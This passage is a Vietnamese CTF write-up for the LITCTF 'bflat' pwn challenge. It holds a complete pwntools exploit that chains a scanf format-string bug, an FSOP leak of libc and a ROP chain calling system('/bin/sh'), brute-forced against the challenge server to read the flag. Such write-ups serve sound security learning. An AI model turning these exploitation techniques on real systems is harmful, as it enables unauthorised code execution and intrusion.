4. Xóa hết format string để tránh scanf đọc dữ liệu vào những lần sau.
Format string và payload:
```python=
format = b" " * 4
format += b"%60$10c"
format += b"%60$8mc"
format += f"%199${8 * 4 + 1}c".encode()
format += b"%1$30c"
payload = b'A' * 8 + b'\xbc\x52'
payload += b'B' * 8
payload += p64(0xfbad1800) + p64(0) * 3 + b'\x00'
payload += b'\x00' * 30
```
Sau đó, ta có `libc`
```python=
libc_leak = u64(p.recvline()[:8])
libc.address = libc_leak - libc.sym['_IO_2_1_stdin_']
log.info(f'{hex(libc.address) = }')
```
Tiếp theo, ta làm y chang lại, chỉ khác là overwrite stored rip thành ROP chain gọi shell, và hơn nữa, format string lần này ngắn, chỉ cần 2 int nên `scanf` chỉ được gọi 1 lần thôi => không cần `%mc` nữa.
```python=
pop_rdi = libc.address + 0x000000000010f75b
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
ret = libc.address + 0x000000000002882f
ropchain = flat(
ret,
pop_rdi,
binsh,
system
)
format2 = f"%18${8 + len(ropchain)}c".encode()
# do chỉ có 2 phần tử nên gọi scanf 1 lần à
payload = b'A' * 7 + ropchain
ints = str2arr(format2)
p.sendlineafter(b'separate by', ' '.join(map(str, ints)).encode())
p.sendlineafter(b' reverse):', b'-7')
p.sendline(payload)
p.interactive()
```
OK. Thử tắt ASLR thì chạy được shell.
Giờ thì implement bruteforce nữa là ok.
May mắn `pwntools` có `mbruteforce` chạy multithread, có lẽ sẽ nhanh hơn chạy brute bình thường.
## full script
```python=
#!/usr/bin/env python3
from pwn import *
exe = ELF("./bflat_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")
context.binary = exe
# context.log_level = 'DEBUG'
remote_connection = "nc litctf.org 31775".split()
local_port = 1337
gdbscript = '''
# qsort
brva 0x13b3
c
b *$rcx
# break ngay hàm compare cho dễ so so sánh
brva 0x12bc
'''
def start():
if args.REMOTE:
return remote(remote_connection[1], int(remote_connection[2]))
elif args.LOCAL:
return remote("localhost", local_port)
elif args.GDB:
return gdb.debug([exe.path], gdbscript=gdbscript, aslr=False)
else:
return process([exe.path], aslr=True)
def str2arr(s):
return [u32(s[i:i+4].ljust(4, b'\x00')) for i in range(0, len(s), 4)]
def wrapper(trash):
try:
p = start()
int_count = 20
format = b" " * 4
format += b"%60$10c"
format += b"%60$8mc"
format += f"%199${8 * 4 + 1}c".encode()
format += b"%1$30c"
payload = b'A' * 8 + b'\xbc\x52'
payload += b'B' * 8
payload += p64(0xfbad1800) + p64(0) * 3 + b'\x28'
payload += b'\x00' * 30
ints = str2arr(format)
ints += [0] * (int_count - len(ints))
p.sendlineafter(b'How many ints?', str(int_count).encode())
p.sendlineafter(b'separate by', ' '.join(map(str, ints)).encode())
p.sendlineafter(b' reverse):\n', b'-7')
p.sendline(payload)
p.sendline(b'2')
libc_leak = u64(p.recvline()[:8])
libc.address = 0
libc.address = libc_leak - libc.sym['_IO_2_1_stdin_']
log.info(f'{hex(libc.address) = }')
pop_rdi = libc.address + 0x000000000010f75b
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
ret = libc.address + 0x000000000002882f
ropchain = flat(
ret,
pop_rdi,
binsh,
system
)
format2 = f"%18${8 + len(ropchain)}c".encode()
# do chỉ có 2 phần tử nên gọi scanf 1 lần à
payload = b'A' * 7 + ropchain
ints = str2arr(format2)
p.sendlineafter(b'separate by', ' '.join(map(str, ints)).encode())
p.sendlineafter(b' reverse):', b'-7')
p.sendline(payload)
p.sendline(b'cat flag.txt')
open('flag', 'wb').write(p.recvuntil(b'}'))
except Exception as e:
print(e)
p.close()
return False
return True
from pwnlib.util.iters import *
mbruteforce(func=wrapper, alphabet=string.ascii_lowercase, length=1000, threads=10)
print(open('flag', 'r').read())
```
Hình như kết thúc CTF BTC chỉnh sửa gì đó rồi, flag không liên quan tới bài :))
Flag: `LITCTF{k4t0u_4ls0_l34rns_t0_pr0gram}`
## note
- FSOP leak libc.
- Dây RBP.
- Scanf format string.
- pwntools mbruteforce
# pwn/How to Raise a Boring Vuln
Bài này anh `JHTPwner` có giải được nên mình chờ video youtube thôi =))